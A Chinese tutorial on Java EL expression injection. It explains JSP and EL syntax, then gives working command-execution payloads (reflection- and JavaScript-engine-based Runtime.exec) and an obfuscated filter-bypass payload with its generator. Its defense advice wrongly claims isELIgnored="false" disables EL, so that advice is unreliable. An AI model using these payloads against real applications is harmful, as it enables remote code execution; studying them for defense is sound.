学习 Java EL 表达式注入
0x01 EL 介绍
表达式语言(Expression Language),或称EL表达式,简称EL,是Java中的一种特殊的通用编程语言,借鉴于JavaScript和XPath。主要作用是在Java Web应用程序嵌入到网页(如JSP)中,用以访问页面的上下文以及不同作用域中的对象 ),取得对象属性的值,或执行简单的运算或判断操作。EL在得到某个数据时,会自动进行数据类型的转换。 ——wikipedia
Java EL 被用在 JavaServer Faces technology (JSF)and JavaServer Pages (JSP) 中,主要功能就是
- 访问 JavaBean 属性,数组或各类集合
- 检索 java 对象,获取数据
- 逻辑和算术运算
- 调用 java 类方法
注意区分 JSP 页面中的脚本表达式 <%= 这里是表达式 %>,EL 正是用来替换脚本表达式的
JSP 中的语法:
脚本程序
1
<% 这里是JAVA代码 %>
JP 声明
声明变量和方法
1
2
3
4
5<%! declaration; [ declaration; ]+ ... %>
<%! int i = 0; %>
<%! int a, b, c; %>
<%! Circle a = new Circle(2.0); %>JSP 表达式
是对数据的表示,系统将其作为一个值进行计算,表达式的值会转为 string,调用的方法必须要有返回值,不能用
;分号1
2
3
4
5
6
7
8<p>
今天的日期是: <%= (new java.util.Date()).toLocaleString()%>
</p>
<% if (user != null ) { %>
Hello <B><%=user%></B>
<% } else { %>
You haven't login!
<% } %>JSP 注释
1
<%-- 注释内容 --%>
JSP 指令
设置与整个JSP页面相关的属性,开头就能看到
| <%@ page … %> | 定义页面的依赖属性,比如脚本语言、error页面、缓存需求等等 |
| —————— | ——————————————————— |
| <%@ include … %> | 包含其他文件 |
| <%@ taglib … %> | 引入标签库的定义,可以是自定义标签 |1
2
3
4<%@ page language="java" contentType="text/html; charset=UTF-8"
pageEncoding="UTF-8"%>
<%@ taglib prefix="s" uri="/struts-tags" %>
<!DOCTYPE html ....
还有 JSP 行为与隐含对象等内容就不介绍了,可以看 JSP 语法 | 菜鸟教程
0x02 EL 使用
立即求值(Immediate Evaluation)
表达式将使用 ${} 语法,一般模板只能用这个
延迟求值(Deferred Evaluation)
表达式使用 #{}语法,模板用这个会报错,详情可以看 https://docs.oracle.com/javaee/7/tutorial/jsf-el.htm#GJDDD
IDEA 新建一个 Maven 项目进行测试,file Project Structure 里 Facets 添加一个 Web

web.xml 添加
1 | <welcome-file-list> |
Web 目录下新建 index.jsp
使用值表达式引用对象
能够引用以下对象的属性
- Lambda parameters
- EL variables
- Managed beans
- Implicit objects
- Classes of static fields and methods
引用对象属性或集合元素
使用 . 或 [] 表示法
比如要获取 customer 的属性 name,则可以使用
1 | ${customer.name} |
或者
1 | ${customer["name"]} |
通常 [] 比 . 要普遍,因为 [] 中不只是字符串,可以是字符串表达式,可以进行动态取值,而且 . 可能受一些特殊字符的影响
以下三种写法效果相同
1 | <html> |

EL 运算符
- 算术:
+,-(二元),*,/和div,%和mod,-(一元)。 - 字符串连接:
+=。 - 逻辑:
and,&&,or,||,not,!。 - 关系:
==,eq,!=,ne,<,lt,>,gt,<=,ge,>=,le。可以与其他值或布尔值,字符串,整数或浮点文字进行比较。 - 空:
empty运算符是前缀运算,可用于确定值是null还是空。 - 条件:
A ? B : C。评估B或C根据的评估结果A。 - lambda表达式:
->,箭头标记。 - 赋值:
=。 - 分号:
;。
运算符优先级如下(从高到低,从左到右):
[] .()(用于更改运算符的优先)-(一元)not ! empty* / div % mod+ -(二元)+=<> <= >= lt gt le ge== != eq ne&& and|| or? :->=;
除了上运算中的字符外还有一些其它的保留字符:
truefalsenullinstanceofemptydivmod
0x03 EL 注入
JSP 有 9 个隐式对象,如下
| request | HttpServletRequest 接口的实例 |
|---|---|
| response | HttpServletResponse 接口的实例 |
| out | JspWriter类的实例,用于把结果输出至网页上 |
| session | HttpSession类的实例 |
| application | ServletContext类的实例,与应用上下文有关 |
| config | ServletConfig类的实例 |
| pageContext | PageContext类的实例,提供对JSP页面所有对象以及命名空间的访问 |
| page | 类似于Java类中的this关键字 |
| Exception | Exception类的对象,代表发生错误的JSP页面中对应的异常对象 |
但其中只有一个 pageContext 是 EL 隐式对象, 还有4个作用域隐式对象,通过映射访问作用域属性,还有参数访问隐式对象、首部访问隐式对象和初始化参数访问隐式对象,如下
| 类别 | 标识符 | 描述 |
|---|---|---|
| JSP | pageContext | PageContext 实例对应于当前页面的处理 |
| 作用域 | pageScope | 与页面作用域属性的名称和值相关联的 Map 类 |
| requestScope | 与请求作用域属性的名称和值相关联的 Map 类 | |
| sessionScope | 与会话作用域属性的名称和值相关联的 Map 类 | |
| applicationScope | 与应用程序作用域属性的名称和值相关联的 Map 类 | |
| 请求参数 | param | 按名称存储请求参数的主要值的 Map 类 |
| paramValues | 将请求参数的所有值作为 String 数组存储的 Map 类 | |
| 请求头 | header | 按名称存储请求头主要值的 Map 类 |
| headerValues | 将请求头的所有值作为 String 数组存储的 Map 类 | |
| Cookie | cookie | 按名称存储请求附带的 cookie 的 Map 类 |
| 初始化参数 | initParam | 按名称存储 Web 应用程序上下文初始化参数的 Map 类 |
在 EL 注入中,产生的原因就是把用户输入作为 EL 表达式内容来执行,通常使用方法
1 | javax.el.ExpressionFactory.createValueExpression() |
如以下代码:
1 | import de.odysseus.el.ExpressionFactoryImpl; |
常用 poc:
1 | //对应于JSP页面中的pageContext对象(注意:取的是pageContext对象) |
利用反射实现命令执行
1 | ${pageContext.setAttribute("a","".getClass().forName("java.lang.Runtime").getMethod("exec","".getClass()).invoke("".getClass().forName("java.lang.Runtime").getMethod("getRuntime").invoke(null),"open -a Calculator.app"))} |
EL + JS 引擎实现命令执行
1 | ${''.getClass().forName("javax.script.ScriptEngineManager").newInstance().getEngineByName("JavaScript").eval("java.lang.Runtime.getRuntime().exec('open -a Calculator.app')")} |
0x04 EL 绕过与防御
绕过
通过下面这段 EL,能够获取字符 C 则同理可以获取任意字符串
1 | ${true.toString().charAt(0).toChars(67)[0].toString()} |
利用以上原理,通过 charAt 与 toChars 获取字符,在由 toString 转字符串再用 concat 拼接来绕过一些敏感字符的过滤
生成 paylaod 脚本:
1 | #coding: utf-8 |
得到:
1 | ${pageContext.setAttribute(true.toString().charAt(0).toChars(97)[0].toString(),"".getClass().forName(true.toString().charAt(0).toChars(106)[0].toString().concat(true.toString().charAt(0).toChars(97)[0].toString()).concat(true.toString().charAt(0).toChars(118)[0].toString()).concat(true.toString().charAt(0).toChars(97)[0].toString()).concat(true.toString().charAt(0).toChars(46)[0].toString()).concat(true.toString().charAt(0).toChars(108)[0].toString()).concat(true.toString().charAt(0).toChars(97)[0].toString()).concat(true.toString().charAt(0).toChars(110)[0].toString()).concat(true.toString().charAt(0).toChars(103)[0].toString()).concat(true.toString().charAt(0).toChars(46)[0].toString()).concat(true.toString().charAt(0).toChars(82)[0].toString()).concat(true.toString().charAt(0).toChars(117)[0].toString()).concat(true.toString().charAt(0).toChars(110)[0].toString()).concat(true.toString().charAt(0).toChars(116)[0].toString()).concat(true.toString().charAt(0).toChars(105)[0].toString()).concat(true.toString().charAt(0).toChars(109)[0].toString()).concat(true.toString().charAt(0).toChars(101)[0].toString())).getMethod(true.toString().charAt(0).toChars(101)[0].toString().concat(true.toString().charAt(0).toChars(120)[0].toString()).concat(true.toString().charAt(0).toChars(101)[0].toString()).concat(true.toString().charAt(0).toChars(99)[0].toString()),"".getClass()).invoke("".getClass().forName(true.toString().charAt(0).toChars(106)[0].toString().concat(true.toString().charAt(0).toChars(97)[0].toString()).concat(true.toString().charAt(0).toChars(118)[0].toString()).concat(true.toString().charAt(0).toChars(97)[0].toString()).concat(true.toString().charAt(0).toChars(46)[0].toString()).concat(true.toString().charAt(0).toChars(108)[0].toString()).concat(true.toString().charAt(0).toChars(97)[0].toString()).concat(true.toString().charAt(0).toChars(110)[0].toString()).concat(true.toString().charAt(0).toChars(103)[0].toString()).concat(true.toString().charAt(0).toChars(46)[0].toString()).concat(true.toString().charAt(0).toChars(82)[0].toString()).concat(true.toString().charAt(0).toChars(117)[0].toString()).concat(true.toString().charAt(0).toChars(110)[0].toString()).concat(true.toString().charAt(0).toChars(116)[0].toString()).concat(true.toString().charAt(0).toChars(105)[0].toString()).concat(true.toString().charAt(0).toChars(109)[0].toString()).concat(true.toString().charAt(0).toChars(101)[0].toString())).getMethod(true.toString().charAt(0).toChars(103)[0].toString().concat(true.toString().charAt(0).toChars(101)[0].toString()).concat(true.toString().charAt(0).toChars(116)[0].toString()).concat(true.toString().charAt(0).toChars(82)[0].toString()).concat(true.toString().charAt(0).toChars(117)[0].toString()).concat(true.toString().charAt(0).toChars(110)[0].toString()).concat(true.toString().charAt(0).toChars(116)[0].toString()).concat(true.toString().charAt(0).toChars(105)[0].toString()).concat(true.toString().charAt(0).toChars(109)[0].toString()).concat(true.toString().charAt(0).toChars(101)[0].toString())).invoke(null),true.toString().charAt(0).toChars(111)[0].toString().concat(true.toString().charAt(0).toChars(112)[0].toString()).concat(true.toString().charAt(0).toChars(101)[0].toString()).concat(true.toString().charAt(0).toChars(110)[0].toString()).concat(true.toString().charAt(0).toChars(32)[0].toString()).concat(true.toString().charAt(0).toChars(45)[0].toString()).concat(true.toString().charAt(0).toChars(97)[0].toString()).concat(true.toString().charAt(0).toChars(32)[0].toString()).concat(true.toString().charAt(0).toChars(67)[0].toString()).concat(true.toString().charAt(0).toChars(97)[0].toString()).concat(true.toString().charAt(0).toChars(108)[0].toString()).concat(true.toString().charAt(0).toChars(99)[0].toString()).concat(true.toString().charAt(0).toChars(117)[0].toString()).concat(true.toString().charAt(0).toChars(108)[0].toString()).concat(true.toString().charAt(0).toChars(97)[0].toString()).concat(true.toString().charAt(0).toChars(116)[0].toString()).concat(true.toString().charAt(0).toChars(111)[0].toString()).concat(true.toString().charAt(0).toChars(114)[0].toString()).concat(true.toString().charAt(0).toChars(46)[0].toString()).concat(true.toString().charAt(0).toChars(97)[0].toString()).concat(true.toString().charAt(0).toChars(112)[0].toString()).concat(true.toString().charAt(0).toChars(112)[0].toString())))} |
防御
- 过滤敏感内容
- 使用其它方法
- 在 JSP 中加入
<%@ page isELIgnored="false" %>禁用
Reference
https://blog.csdn.net/qyqingyan/article/details/20606845
https://pulsesecurity.co.nz/articles/EL-Injection-WAF-Bypass